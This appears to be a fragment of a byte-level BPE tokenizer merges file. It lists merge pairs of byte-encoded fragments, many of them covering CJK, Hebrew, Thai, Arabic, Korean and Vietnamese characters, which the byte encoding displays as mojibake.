Ĥ +èı į +èı ¼ +èIJ £ +äĵ ¨ +èı ī +äĵ Ľ +æ¢ ¼ +æ¢ ½ +æ¡ ² +æ¢ ¾ +æ¡ ¯ +æ¢ £ +æ¢ Į +æ¡ ¹ +æķ Ķ +åİ £ +ç¡ Ķ +é¿ İ +ç¡ Ļ +ç¡ ļ +ç¡ Ĭ +ç¡ į +åĭ Ķ +ä´ ķ +é¾ ģ +éĢ ´ +åĶ ª +åķ « +ç¿ Ī +ã « +ã« ° +æĻ Ļ +çķ ¤ +𬱠ĸ +è¶ ¼ +è· Ĥ +èĽ ĥ +èļ ² +ð¬Ł ½ +èļ º +åķ ´ +äİ ĥ +å´ § +å´ Ł +å´ ŀ +å´ Ĵ +å´ Į +å´ ¡ +éĵ ı +ð«ĵ ¯ +ð«Ł ¹ +éĵ ķ +ð«Ł ¼ +éĵ ĸ +éĵ ĺ +éĵ ļ +éĵ ŀ +éĵ ¥ +éĵ ´ +çī » +çī ¿ +ç¨ Ĩ +ç¬ ± +ç¬ ¯ +åģ ° +åģ ¡ +é¸ º +åģ Ń +åģ ² +åģ ģ +ã ¿ +ã¿ ł +éĦ ħ +åģ ĵ +å¾ Ľ +è¡ Ĵ +èĪ ³ +èĪ ² +é¸ ¼ +æĤ Ĩ +éĦ ĥ +çĵ » +ä Ŀ +äĿ Ļ +èĦ ¶ +èĦ ŀ +èĦ Ł +äı ² +é± ¾ +çĮ ĩ +çĮ Ĭ +çĮ Ħ +è§ ĸ +ðł ħ +ðłħ ¤ +åº ± +åº ¼ +åº ³ +çĹ ĵ +ä´ Ķ +ç« « +åł ĥ +éĺ Į +ç¾ Ŀ +ç¾ ķ +çĦ Ĩ +çĥ º +çĦ Į +æ· ı +ð¬ĩ ¹ +æ· Ł +æ· ľ +æ· ´ +æ· ¯ +æ¹ ´ +æ¶ ´ +ð¬į ¡ +ã ¥ +㥠Ħ +æĥ Ľ +æĥ Ķ +æĤ ° +æĥ Ļ +å¯ ģ +éĢ Ń +𬤠ĩ +ð«į ¯ +è¢ ¼ +è£ Ī +ç¥ ² +𬤠Ĭ +ð«į ² +è° ŀ +èī ´ +å¼ ¸ +å¼ ¶ +ð¬¯ İ +éļ ĥ +å© ŀ +å¨ µ +å© ¼ +åª ĸ +å© ³ +å© į +å© Į +å© « +å© ¤ +å© ĺ +å© ł +ð¬ĺ ¬ +ð¬ĺ Ń +𬴠Ĥ +ð«ĺ ¦ +ç» ¹ +ð«Ł ħ +ð¬ĺ ¯ +éª ķ +ð«ĺ § +çµ ľ +çı · +çIJ ² +çIJ ¡ +çIJ Ł +çIJ Ķ +çIJ Ń +åł ¾ +åł ¼ +æı ķ +ãĻ ĺ +åł § +åĸ Ĩ +åł ¨ +å¡ ħ +åł ł +çµ · +𪠣 +𪣠» +ð¡ İ +ð¡İ ļ +è ijľ +æĥ İ +èIJ ³ +èij Ļ +éĿ ¬ +èij ´ +èĴ ĩ +èĴ Ī +éĦ ļ +èĴ ī +èĵ ĩ +èIJ © +èij ° +èij İ +éĦ ij +èĴ İ +èij ĸ +èĴ Ħ +èIJ ¹ +æ£ ¤ +æ£ ½ +æ£ « +æ¤ ĵ +æ¤ ij +ð¬ ĥ +ð¬ĥ Ĭ +é¹ Ģ +æ¤ Ĩ +æ£ ĵ +æ£ ¬ +æ£ ª +æ¤ Ģ +æ¥ Ĺ +𬠷 +𬷠ķ +çĶ ¦ +éħ ¦ +è§ Į +å¥ ¡ +çļ ķ +ç¡ ª +æ¬ ¹ +è© Ł +ð«IJ IJ +è¾ Į +æ£ IJ +é¾ Ĥ +𬠹 +𬹠¼ +é» ¹ +çī ļ +çĿ İ +æĻ « +æĻ ª +æĻ ± +ð § +ð§ ¿ +ð§¿ ¹ +èĽ ij +çķ ¯ +æĸ Ŀ +åĸ ¤ +å´ ¶ +åµ ģ +ð« ¶ +ð«¶ ĩ +å´ ¾ +åµ ħ +å´ ¿ +åµ ļ +ç¿ Ļ +ð«ĸ ® +åľ Į +åľ IJ +èµ ij +èµ Ĵ +é¿ ı +éĵ ¹ +ð¬Ń Ĭ +éĵ ½ +𨱠ĩ +ð«ĵ ¶ +éĶ Ĭ +éĶ į +éĶ İ +ð¬Ń İ +éĶ ĵ +çĬ ĩ +é¢ ĭ +ç¨ Į +çŃ Ģ +çŃ ĺ +çŃ ľ +çŃ ¥ +çŃ ħ +åĤ ĥ +åĤ ī +ç¿ Ľ +åĤ Ĵ +åĤ ķ +èĪ ¾ +çķ ¬ +ð«ĸ ¯ +èĦ ¿ +èħ ĺ +ä IJ +äIJ ĥ +èħ Ļ +èħ Ĵ +ð¬± Ł +é² ĥ +çĮ ° +ð« Ľ +ð«Ľ Ń +çĮ ¯ +ã º +㺠Ħ +é¦ ī +åĩ ĵ +éĦ Ĺ +ð« · +ð«· · +å» ĭ +å» Ĩ +éĦ Į +ç² ¢ +éģ Ĩ +æĹ IJ +𬮠± +çĦ ŀ +ð¬Ĭ ¤ +æ¬ » +𣠸 +𣸠£ +æº ļ +æº ģ +æ¹ Ŀ +æ¸ ° +æ¹ ĵ +ã ´ +ã´ Ķ +æ¸ Ł +æº ł +æ¸ ¼ +æº ĩ +æ¹ £ +æ¹ ij +æº ŀ +æĦ IJ +æĦ ĥ +æķ © +çĶ ¯ +æ£ ¨ +æī Ĭ +è£ £ +ç¥ ¼ +å© » +åª Ĩ +åª ŀ +ãĽ ¹ +åª ĵ +åª Ĥ +åª Ħ +æ¯ µ +çŁ ŀ +𬴠ĥ +ð«ĺ ¨ +ç¼ Ĭ +ç¼ IJ +éª Ļ +çij ĥ +çij ĵ +çij ħ +çij Ĩ +ä´ ĸ +çij ĸ +çij Ŀ +çij Ķ +çij Ģ +𤠧 +𤧠Ľ +çij ³ +çij Ĥ +å¶ ħ +çij ij +éģ ĺ +é« ¢ +å¡ ¥ +åł ½ +èµ ª +æij Ľ +å¡ Ŀ +æIJ Ĵ +æIJ Į +èĴ ± +èĴ ¨ +èĵ ı +èĶ Ģ +èĵ ¢ +èĵ Ĥ +èĴ » +èĵ £ +æ¤ ¹ +æ¥ ª +æ¦ ĥ +æ¦ ħ +æ¥ Ĵ +æ¥ © +æ¦ ĩ +æ¤ ¸ +æ¥ Ļ +æŃ ħ +𬠪 +𬪠© +ç¢ ĥ +ç¢ ı +ð¬Ĵ Ķ +ç¢ Ī +äĥ ħ +ç¡ ¿ +éĦ ł +è¾ Ĵ +ð¬¨ İ +ð«IJ ĵ +é¾ Ĩ +è§ ľ +ä £ +ä£ ĺ +æļ ķ +é¹ į +ð« « +ð«« ĩ +㬠Ĭ +æļ ħ +è· ± +èľ IJ +èľ İ +åµ ² +èµ Ĺ +éª ± +éĶ ĸ +ð«ĵ ¹ +éĶ ĺ +éĶ ³ +éĶ § +éĶ ª +ð¬Ń ļ +éĶ « +éĶ ¬ +ð¬Ń Ľ +ç¨ ij +ç¨ Ļ +ä ħ +äħ Ł +ð¬ ķ +ð¬ķ Ĥ +çŃ » +çŃ ¼ +çŃ ¶ +çŃ ¦ +çŃ ¤ +åĤ º +é¹ İ +åĥ ĩ +èī ħ +èī ī +è° ¼ +è² Ĩ +èħ ½ +èħ ¨ +èħ ¯ +é² ī +é² Ĭ +é² Į +ä² Ł +𬶠ĭ +𬶠į +é² ı +éĽ Ĭ +çĮ º +é£ Ķ +è§ Ł +ð¦ Ŀ¼ +é¦ Į +è£ Ľ +å» Ĵ +çĺ ħ +éĦ ĺ +é¹ Ĵ +éĦ ľ +éº Ģ +éĦ £ +éĺ ĺ +ð«Ķ ¶ +çħ ģ +çħ ĥ +çħ ´ +çħ ĭ +çħ Ł +çħ ĵ +æ» ł +æº į +æº ¹ +æ» Ĩ +æ» ī +æº ¦ +æº µ +æ¼ · +æ» § +æ» ĺ +æ» į +æĦ Ń +æħ ¥ +æħ Ĩ +å¡ ± +ð« ĮĢ +è £¼ +ç¦ ĭ +ç¦ Ķ +ç¦ ĺ +ç¦ Ĵ +è° « +é¹ Ķ +ð«ĸ ³ +æĦ į +å« Ħ +åª ± +æĪ ¤ +åĭ ł +æĪ £ +ð«ĺ ª +ð«ĺ ¬ +ç¼ ŀ +èĢ ¤ +çij § +ð« ŀ +ð«ŀ © +çij ¨ +çij ± +çij · +çij ¢ +æĸ ł +æij ı +å¢ ķ +å¢ Ī +å¢ IJ +å¢ ĺ +æij ´ +éĬ İ +ð¡ IJ +ð¡IJ ĵ +å¢ ļ +æĴ ĸ +𪠤 +ðª¤ Ĺ +éĿ ½ +éŀ ģ +èĶ Į +èĶ Ī +èĵ ° +èĶ ¹ +èĶ Ĭ +åĺ ı +æ¦ ° +æ¦ ij +æ§ ļ +ð£ Ĺ +ð£Ĺ ĭ +æ§ ľ +æ¦ į +çĸ IJ +𬸠ĺ +éħ º +éħ ¾ +éħ ² +éħ ´ +ç¢ ¶ +äĥ İ +ð¬Ĵ Ĺ +ç¢ ¨ +ð¥ Ķ +ð¥Ķ ² +ç¢ ¹ +ç¢ ¥ +åĬ Ĥ +ð«ļ ĸ +ä´ Ĺ +å¤ ¥ +çŀ į +é¹ ĸ +ã¬ İ +è· ½ +èľ ¾ +å¹ ĸ +å¶ į +åľ Ļ +𨱠ı +éĶ º +éĶ ¼ +éĶ ½ +ð¬Ń ¤ +éĶ ¾ +éĶ ¿ +éķ ĥ +éķ Ħ +éķ ħ +é¦ Ŀ +é¹ Ļ +ç® ¨ +ç® ĸ +åĬ Ħ +åĥ ¬ +åĥ ¦ +åĥ Ķ +åĥ İ +æ§ ĥ +ãĻ ¦ +é² Ĵ +é² ķ +ð«ļ ķ +é² ĸ +é² Ĺ +é² ĺ +é² Ļ +𬶠IJ +𬶠ı +ð ©½ +𩽠¾ +å¤ IJ +çį į +é£ Ĺ +𬸠ļ +åĩ ĺ +å» ij +å» Ļ +çĺ Ĺ +çĺ ¥ +çĺ ķ +é² Ŀ +éĦ « +çĨ ĩ +æ¼ ¹ +æ¼ ĸ +æ½ Ĩ +æ¼ ¤ +æ½ © +æ¼ ¼ +æ¼ ´ +ã ½ +ã½ ı +æ¼ Ī +æ¼ ĭ +æ¼ » +æħ ¬ +çª ¬ +çª Ń +ã ® +ã® ¾ +𬤠Ŀ +è¤ ķ +ç¦ Ľ +ç¦ ļ +éļ © +å« ķ +å« Ń +å« ľ +å« ª +ð¬ ĻĤ +ã » +ã» ¬ +éº ¹ +çĴ Ĩ +æ¼ ¦ +åı ĩ +å¢ £ +å¢ ¦ +å¢ ¡ +åĬ IJ +èĸ ģ +èķ ° +èĶ ĥ +é¼ Ĵ +æ§ ± +é¹ Ŀ +ç£ ı +ç£ ī +æ® £ +æħ Ń +éľ ħ +æļ µ +æļ ² +æļ ¶ +è¸ ¦ +è¸ £ +äĹ ĸ +èĿ ĺ +èĿ ² +èĿ ¤ +åĻ ĩ +å ĻĤ +åĻ Ģ +ç½ ¶ +å¶ ² +å¶ ĵ +ãł ĩ +å¶ Ł +å¶ Ĵ +éķ Ĩ +éķ Ī +éķ ĭ +éķ İ +ð¬Ń © +éķ ķ +ç¨ ¹ +åĦ ĩ +çļ ŀ +çļ Ľ +ä´ ĺ +èī İ +èī ı +é¹ Ł +𩾠ĥ +é² ¦ +é² ª +é² ¬ +æ© ¥ +è§ Ń +é¹ ł +é¹ ¡ +ç³ ĩ +ç³ Ī +ç¿ ¦ +é¹ ¢ +é¹ £ +çĨ Ľ +æ½ ĸ +æ½ µ +ã µ +ãµ IJ +æ¾ Ĥ +æ¾ Ľ +çij ¬ +æ½ ½ +æ½ ¾ +æ½ ı +æĨ Ń +æĨ ķ +𬸠£ +æĪ Ń +è¤ ¯ +ç¦ ¤ +ð«į ½ +å« ½ +éģ ¹ +𬴠Ĭ +çĴ ¥ +çĴ ² +çĴ Ĵ +æĨ Ļ +æĵ IJ +éĦ ¹ +èĸ ³ +éŀ Ķ +é» ĩ +ð¬ ŀ +ð¬ŀ Ł +èķ Ĺ +èĸ ¢ +èķ ¹ +æ© ŀ +æ© ij +æ© ¦ +éĨ ij +è§ ± +ç£ ¡ +ð¥ ķ +ð¥ķ ¢ +ç£ ľ +è± ® +ð«Ł ¦ +ð¬º Ī +ð«ł ľ +é¹ ¾ +èĻ ¤ +æļ ¿ +æĽ Į +æĽ Ī +㬠ļ +è¹ ħ +è¸ ¶ +äĹ Ľ +èŀ Ĺ +çĸ ģ +ãł ĵ +å¹ ª +𪠩 +𪩠ĺ +å¶ ¦ +ð¬Ń ¬ +𨱠ij +ð¬Ń ¯ +é¦ ŀ +ç© Ħ +ç¯ ļ +ç¯ ¯ +ç° ī +é¼ ½ +è¡ ł +çĽ ¦ +èŀ £ +ç¸ ¢ +é² Ń +é² ¯ +é² ° +é² º +é² ¹ +ð«Ĺ ´ +äº ¸ +çĻ Ģ +çĺ Ń +𬸠¦ +ç¾ ± +ç³ Ĵ +çĩ ĭ +çĨ » +çĩ Ĭ +çĩ ļ +çĩ ı +æ¿ © +æ¿ ĭ +æ¾ ª +æ¾ ½ +æ¾ ´ +æ¾ Ń +æ¾ ¼ +æĨ · +æĨ º +æĩ Ķ +é» ī +å¬ Ľ +é¹ ¨ +ç¿ ¯ +ð«Ħ · +çĴ ± +𤠩½ +çĴ ¬ +çĴ ® +é« ½ +æĵ ¿ +èĸ ¿ +èĸ ¸ +æª ij +æ« Ĩ +æª ŀ +éĨ ¨ +ç ¹Ħ +ç£ ¹ +ç£ » +çŀ « +çŀ µ +è¹ IJ +èŁ ı +ã ĺ +ãĺ İ +ð¬Ń ³ +éķ ¤ +ð¬Ń ¶ +ð«Ķ į +éķ ¥ +éķ ¨ +ð¬Ń ¸ +ð¨± Ķ +ð¬Ń ¼ +ð«Ķ İ +çŁ ° +ç© Ļ +ç© ľ +ç© Ł +ç° ķ +ç° ĥ +ç° ı +åĦ ¦ +éŃ ĭ +æĸ ¶ +èī ļ +𬸠ª +è° ¿ +ä² ł +ð¬¶ Ł +é² ¾ +𬶠ł +é² ¿ +é³ ģ +é³ Ĥ +é³ Ī +é³ ī +çį ¯ +äĹ ª +é¦ ĺ +è¥ ķ +è¥ ļ +𬶠¨ +èŀ ± +çĶ ĵ +å¬ ¬ +å¬ ¥ +ð¦ Ī +ð¦Ī ¡ +ð«Ħ ¸ +çĵ Ģ +éĩ IJ +é¬ ¶ +çĪ ĩ +éŀ ³ +éŀ ® +ð¬Ł ģ +èĹ Ł +èĹ ¦ +èĹ ¨ +é¹ ² +æª « +é» ¡ +ç¤ ŀ +ç¤ Į +ð¥ ĸ +ð¥ĸ ¨ +è¹ ¢ +è¹ ľ +èŁ « +äĹ ´ +åļ ļ +é« ĥ +éķ ® +éķ ± +éħ Ĥ +é¦ § +ç° ł +ç° Ŀ +ç° ° +é¼ « +é¼ © +çļ ¦ +èĩ ij +ä² ¢ +é³ ij +é³ Ĵ +é¹ ± +é¹ ¯ +çĻ Ĺ +ð¦ Ĵ +ð¦Ĵ į +æĹ ŀ +ç¿ · +åĨ ģ +äİ ĸ +çĢ Ķ +çĢ į +çĢ Į +è¥ ľ +ä´ Ļ +ð¬Ļ Ĭ +åļ Ń +ã ° +ã° Ģ +é¬ · +éĨ Ń +è¹ ¯ +èł ĭ +ç¿ ¾ +é³ ĺ +åĦ ³ +åĦ ´ +é¼ Ĺ +ð¬¶ Ń +𩾠Į +é³ ļ +é³ Ľ +éº ij +éº ĸ +èł ĥ +å½ Ł +å¬ ¿ +é¬ Ĵ +èĺ ĺ +æ¬ Ĥ +é Ĩµ +é¢ ¥ +çĶ Ĺ +ð¨ Ł +ð¨Ł ł +å· ĩ +éħ ħ +é« İ +çĬ ¨ +𬶠® +ð¨ Ń +ð¨Ń ī +㸠Į +çĪ Ķ +çĢ ± +çĢ ¹ +çĢ ¼ +çĢ µ +è¥ « +åŃ ħ +éª ¦ +ð¬Ļ ĭ +èĢ ° +𤠫 +𤫠ī +çĵ ĸ +é¬ ĺ +è¶ ¯ +𬺠ĵ +ç½ į +é¼ ± +é³ ł +é³ ¡ +é³ £ +çĪ Ł +çĪ ļ +çģ Ī +éŁ Ĥ +ç³ µ +èĺ ¼ +ç¤ µ +é¹ ´ +èº Ķ +çļ Ń +é¾ ¢ +é³ ¤ +äº ¹ +ç± ¥ +é¼ · +ð«ļ Ń +çİ ĥ +éĨ ¾ +é½ ĩ +è§ ¿ +èł ¼ +× § +× ¤ +× Ľ +×ķ× ª +× ¡ +×Ļ× Ŀ +× ¦ +× Ĵ +× ĺ +×ķ× ¨ +× Ŀ +×ķ× ľ +× ĸ +๠Ĥ +ï º +ðŁ į +ðŁ IJ +×Ļ× ¨ +ï » +ðŁ ij +ðĿ IJ +ðŁ ı +ðŁ Ķ +ðŁ Į +ðŁ İ +ðŁ ĵ +× Ł +ðĿ ij +×ķ× ĵ +ï ¦ +Ġ× ķ +×ķ× ij +à¸Ń à¸ĩ +ðĿ ĺ +×Ļ× ª +ðĿ ķ +à¸Ĺ ีà¹Ī +Ø§Ø ¦ +ðŁ ¤ +×ķ× Ł +ر ÙĬ +×Ļ× ľ +ร ะ +า ย +ï ¯ +ï ® +า ม +â ĩ +ðŁ ¥ +ï Ń +ðĿ Ļ +×ķ× ł +á ½ +Ġ× Ľ +ðŁ ļ +â ļ +ï § +×ij ר +×Ļ× ł +á ´ +Ġ× Ĺ +á ¼ +ðĿ Ĺ +Ġ× ¢ +×Ļ× Ķ +ãģ£ ãģŁ +ãģĵ ãģ¨ +á ¸ +ÙĬ ÙĨ +ãģª ãģĦ +ا ع +ภ¨ +à¹Ī à¸ĩ +×Ļ× ĵ +×ŀ ש +á Ī +׳ ×Ļ +×Ļ× ij +ï ¥ +ðĿ ĵ +Ġ× Ļ +× ļ +ั à¸ĩ +â ĵ +ï ¤ +ĠاÙĦ Ø£ +า à¸ģ +à¹ī à¸Ļ +à¹Ģ ร +×ķ× Ŀ +á ¹ +ภ¶ +×Ļ× § +ภĭ +à¸Ħ ร +ภĺ +ั à¸ģ +ðŁ ķ +ÙĪ ÙĨ +à¸Ń ย +â Ĭ +ðĿ Ĵ +ĠاÙĦ ع +า à¸Ļ +×Ļ× Ł +ÙĦ ÙĬ +×Ļ× © +à¸Ľ ระ +à¹Ģ à¸Ľ +Ġ× ł +×ķ× ¡ +ภł +Ùħ ÙĨ +×ķ× ¢ +×ķ× ŀ +â Į +ðŁ § +à¹ĩ à¸Ļ +ภį +ã İ +á µ +ĠاÙĦ س +×ķ× § +ห ล +ðŁ ĩ +â ı +ðŁ ¦ +Ġ×Ķ ×ŀ +ÙĪ Ø§ +Ġ× ª +ר ×IJ +à¸Ń à¸Ļ +ภ© +à¹Ī ว +×ķ× ¦ +í Ĺ +ã Ħ +ï ¨ +ï ¹ +â İ +ï ² +ðĿ ļ +ð IJ +à¸Ħ ว +ห à¸Ļ +Ġ× ¨ +ب ÙĬ +ร à¹Į +ر ا +Ø´ ر +×ķ× Ĺ +×ķ× ¤ +×ķ× © +×ķ× Ĵ +í Ŀ +â Ľ +à¸ķ ิ +à¹Ģ à¸ģ +ï ³ +ï ± +à¸Ķ à¹ī +ë ¹ +ï ¬ +á ¿ +ðŁ Ľ +ðĿ ĸ +à¹Īา à¸ĩ +ู à¹ī +Ġ×Ķ ×IJ +ĠاÙĦ ØŃ +פ ר +ÙĪ Ùħ +à¹Ģ ล +í ĸ +×Ļ× ¢ +ì Ī +í ĵ +ðŁ ħ +á ł +à¸Ħว าม +à¸Ī ะ +׳ ×Ķ +Ġ× § +à¸ Ł +à¹ī à¸ĩ +ห ม +ت Ùħ +׾ ×Ļ +ÙĬ د +à¹Ī à¸Ļ +׊ר +ש ר +à¹Ģ à¸Ĺ +×ŀ ר +ë ĸ +ع ÙĦ +×ŀ ×¢ +â ² +׾ ×Ķ +Ġ× ¤ +à¸Ń à¸ģ +س ÙĦ +×Ļ× ŀ +ÙĤ ÙĬ +í İ +ت ØŃ +×Ļ× ¡ +×Ļ× Ĺ +í Ľ +ï ° +â ½ +á ī +á Ĭ +á ¨ +Ùĩ ا +Ġ׾ ×Ķ +×ķ× IJ +Ùħ ا +à¹īà¸Ń à¸ĩ +ر ب +ĠاÙĦ ج +×ŀ ×ĵ +Ùħ ÙĦ +ت ر +à¹Ģ à¸Ķ +×§ ר +í ħ +ì ¼ +ê ¿ +ã Ī +á IJ +ðŁ Ĺ +ê ¦ +á ĭ +ðĿ Ķ +à¹Ģà¸Ľ à¹ĩà¸Ļ +à¹ĥ ห +ม า +ว à¹Īา +ม ี +ี à¹ī +à¹Ħม à¹Ī +ÙĨ ÙĬ +Ø ¤ +ร า +×ķ ×Ļ +ãĤĪ ãģĨ +ิ à¸Ķ +×Ļ× ¤ +׊׾ +ÙĤ د +à¹Ģ ส +×Ļ× ĺ +à¸ģ ล +ר ׼ +×ķ× Ľ +×Ļ× Ľ +ë Ī +ë ĥ +ðŁ ĸ +á ħ +â ¼ +ã ī +à¹Ħ à¸Ķà¹ī +ת ×Ļ +×Ļ× IJ +ĠاÙĦ Ø¥ +à¸ł า +ร ิ +ÙĤ Ø© +ØŃ د +ê » +ì ± +ת ×Ĺ +ì º +â ĭ +á Ħ +á ¾ +â µ +â ¾ +ĠÙĪ Ø§ÙĦ +׳ ×ķ +Ù Ģ +ÙĬ ا +à¸ģ à¹ĩ +×ŀ ×Ķ +ãģĦ ãĤĭ +ع د +ĠاÙĦ ÙĨ +Ġ×Ķ ×© +Ø ¦ +ั à¹īà¸ĩ +ร ัà¸ļ +ÙĪ ÙĤ +ãģ§ ãģį +à¹Ģ à¸ŀ +׼ ׾ +×ĺ ר +ั à¸Ķ +à¸Ń า +ì ¢ +à¸Ń à¸ļ +à¸ķ ร +à¹Ģ à¸Ĭ +ì Ķ +ãģĹ ãģ¾ +ë ģ +ë ķ +ðŁ Ļ +â Ĵ +á ¶ +à¹ģ ล +ÙĨ ا +à¹ĥห à¹ī +à¹Ħ à¸Ľ +× £ +ั ว +า à¸ĩ +×ĵ ר +×ij ׾ +פ ×Ļ +Ġ× ĵ +ĠاÙĦ Ùģ +à¹Ģ à¸Ĥ +ש ×Ķ +×IJ ר +ë ¬ +ãģ« ãģª +ÑĢ Ð¾ +ว ิ +Ùħ ر +×IJ ת +Ùĥ ر +س ب +ÙĨ ت +ãģĹ ãģĦ +ا ج +à¸Ń รà¹Į +Ùĥ ÙĦ +س Ùħ +ส ิ +×Ļ× ¦ +ë Ŀ +í ľ +ì ī +á Ĩ +Ùĩ Ùħ +à¸Ļ ีà¹ī +ãģĤ ãĤĭ +ãģĦ ãģ¦ +س ÙĬ +׾ ×IJ +د ر +ãģ ļ +ÙĪ Ø¬ +ĠاÙĦ Ø® +ص ر +í ı +à¹īา à¸ĩ +ุ à¸Ķ +×ķ× ĺ +×ij ×¢ +í Ĩ +à¸Ĭ า +ร ม +ש ×ŀ +×ŀ ס +ê ´ +ì ´ +ë ľ +ì ¿ +ì © +ë » +â ¤ +ðŁ Ĩ +á Į +á ķ +ذ ا +à¸Ĺ ำ +à¸ķ à¹Ī +ĠاÙĦ ÙĤ +ÙĦ Ùĥ +ู à¹Ī +à¸Ħ ุ +ÙĬ Ùħ +׳ ×Ļ×Ŀ +ืà¹Ī à¸Ń +ÙĪ Ø¹ +ãĤ ĩ +ا ÙĤ +Ġ×ij ×¢ +à¹Ģ ม +ج Ùħ +á» « +ãģĵãģ¨ ãģĮ +ب د +×ķ× Ķ +ש ׾ +Ùĩ ر +à¹Ģ à¸Ļ +ãģ ¹ +í ĭ +ì » +ì ½ +ë Ń +ì Į +í Ģ +ë Į +ë º +ã Ĭ +à¹ĥ à¸Ļ +Ġ× Ĵ +๠Ĩ +à¸Ī าà¸ģ +ว ย +à¹ĥ à¸Ĭ +à¸ĩ าà¸Ļ +ĠاÙĦ Ø´ +ا ØŃ +à¹īา à¸Ļ +ืà¹Ī à¸Ńà¸ĩ +×IJ ×Ļ +ب ÙĦ +ãģ¨ æĢĿ +׳ ס +ãģ¾ ãģĽ +Ùĥ ÙĨ +×¢ ר +ĠاÙĦ د +ש ת +í ŀ +Ùħ س +ص ÙĦ +×ķ׳ ×Ķ +ار Ø© +ÙĦ Ùħ +ส ม +Ø£ ÙĨ +ת ר +×IJ ×ŀ +ع ب +Ø® ت +ãĤ ĥ +ì ¡ +ì £ +ив а +ส ั +ึ à¸ģ +ì ¸ +ë Ĩ +алÑĮ н +ì ³ +ì į +ê ¼ +ê ½ +ì ı +ã Į +ã ı +ï © +ê ª +á İ +Ġ× ĸ +à¸ģ ัà¸Ļ +×Ļ ×ķ +à¸Ħ à¸Ļ +׳ ×ķת +à¸ľ ูà¹ī +à¹ĥ à¸Ī +ãģĦ ãģŁ +Ùģ Ø± +×ĺ ×Ļ +צ ×Ļ +ãĤĤ ãģ® +ĠاÙĦ ص +ãģ¾ãģĽ ãĤĵ +د Ø© +×ij ×Ļ +ĠاÙĦ ر +Ġ×ŀ ×IJ +ส ำ +à¹Ģ ห +ع ر +ãģª ãģı +à¸ģร ะ +×ij ×ĵ +à¹Ģ à¸Ī +×Ļ× ļ +×Ĺ ×Ļ +ÙĬ ع +ש ×ij +ÙĨ Ø© +ÙĪ Ø¶ +ÙĦ Ùģ +ÙĢ ÙĢ +פ ×¢ +í Ī +×ŀ ×§ +ภIJ +ØŃ Ø© +ا ص +Ñĭв а +à¸Ħ ม +ว ั +à¸Ľ ล +ì Ł +í ļ +ë ´ +ë ij +ë ī +ë ĩ +ì ¨ +ë ± +ë İ +â ¬ +á ¥ +á Ĺ +á Ľ +á į +Å © +à¸Ķ ี +ô i +Ġ× ¡ +׾ ×ķ +á»Ŀ i +à¸Ħุ à¸ĵ +â y +à¸Ļ า +×Ĺ ×ĵ +×ĵ ×Ļ +ห า +ج ÙĦ +à¹Ģ ว +ãĤĩ ãģĨ +Ùħ Ø© +ĠاÙĦ Ùĥ +Ġ×Ķ ×¢ +ج ر +×ĸ ר +ا Ø· +׼ ת +×ķ׳ ×Ļ×Ŀ +ØŃ Ùħ +ê ¶ +ر Ùĥ +Ġ׾ ×¢ +×ķ× ĸ +ส ร +צ ׾ +Ø ¢ +ا ست +à¹Ī ม +Ø® ر +צ ×¢ +×Ļר ×ķת +اد Ø© +Ø´ ار +×ŀ ×Ĺ +í Ĵ +à¹Ģร ีย +×Ĺ ×§ +Ø§Ø « +ร à¸ĩ +à¹Ģ à¸ķ +à¸Ī ำ +ภĿ +à¹Īา ย +à¸Ħ ล +ÙĤ ÙĪ +иÑĩеÑģ к +à¸ĵ à¹Į +ั ย +Ùħ ع +ë ¨ +ë ¿ +ë ® +ï ´ +ì ¥ +ì « +ë µ +á ¡ +â į +ð ĵ +â ° +à¸Ĥ à¸Ńà¸ĩ +Ù ĭ +à¸ģ ัà¸ļ +ãģ® ãģ§ +à¹ī ว +à¸Ńย à¹Īาà¸ĩ +ãģ Ń +á»ĩ t +à¸ķ à¹īà¸Ńà¸ĩ +×ŀ ×Ļ +à¹ģ à¸ļ +×Ĵ ר +ÙĪ Ùģ +ÙĤ ÙĦ +à¸łà¸² à¸ŀ +ר ×Ļ +ล า +ÙĬ س +Ġ× ¦ +ÙĬ Ùģ +Ġ× ĺ +à¸ľ ล +á ng +ร ว +Ġ×ŀ ש +×IJ ×ķת +×ĸ ×Ķ +ู à¸ģ +à¸Ļ ัà¸ģ +اÙĨ ÙĬ +د ا +ãģ ³ +׼ ף +ãĤī ãĤĮ +ãĤĮ ãģ° +ת ×§ +ú c +ÙĪ Ø² +×Ļר ×Ķ +Ġn gh +án h +Ġ×ķ ×IJ +á» ħ +ส ุà¸Ķ +ë į° +ا ض +اÙĦ ÙĬ +ب ار +ع Ùħ +à¸ļ า +ت ج +à¸ŀ ร +×ķר ×Ķ +ả ng +Ø® ÙĦ +ภī +ắ c +ש ×Ļ×Ŀ +í Ķ +Ùģ Ø³ +×Ļ× Ĵ +п ÑĢ +ĠاÙĦ Ø« +س Ø· +ร ูà¹ī +ีà¹Ī ย +à¸Ń à¸Ķ +ãģª ãĤĬ +×Ĵ ×ĵ +ãģĦ ãģ¾ãģĹãģŁ +ס ×§ +Ø® ص +la ÅŁ +ен но +ب ØŃ +ส à¸Ļ +ภ® +ר×IJ ש +Ùħ ÙĪ +دÙĬ د +ษ า +×ķ× ļ +ãĥ§ ãĥ³ +à¸ķ ุ +Ġê µ +ĠÑģв о +צ ×ij +à¸Ń ม +à¸Ľ ร +ت ع +×Ķ ×ª +اÙħ ÙĦ +×ŀ ׳ +ç ¶ļ +ภ¤ +í į +ë ĺ +ë ¤ +ì ij +â ´ +ã ĭ +Ġب اÙĦ +á»ģ u +ĠاÙĦ ÙĦ +à¸ķ ัว +ذ Ùĩ +ึ à¸ĩ +à¹ĥà¸Ĭ à¹ī +á»ĵ ng +à¸Ļ ั +ม าà¸ģ +ãĥ Ł +×ŀ ×ķ +à¸Ĺ ย +á»Ļ i +Ạ± +ả o +à¹Ĥ à¸Ķ +×IJ ׾ +ส าม +ÙĪ Ø¨ +à¸Ĺ ุ +ย ัà¸ĩ +×¢ ת +×ķ׳ ×ķת +à¸Ĥ ึ +à¸Ĥึ à¹īà¸Ļ +à¸ģ à¹Ī +Ạ« +á»ij c +ãģĹ ãĤĩãģĨ +á»ĭ ch +Ġ×IJ ×ķת +Ġש ×IJ +׼ ×ķ׾ +á»Ļ c +ع Ø© +à¸Ĺ ี +à¹Ģ à¸Ń +Ùĥ ت +ãģ » +Ạ» +ìĹ ħ +à¸Ń à¸Ńà¸ģ +اÙĨ ت +à¹Ħ ร +Ġ×IJ ×Ĺר +Ø· ر +ÙĨ د +ื à¹īà¸Ń +Ø· ÙĦ +×IJ ×Ķ +uy ên +í ĸī +×ij ×Ķ +à¸Ħ à¹Ī +à¸Ĭ à¹Īว +ãģĤãĤĬ ãģ¾ãģĻ +ÙĬ ب +×§ ׾ +ãĥ Ļ 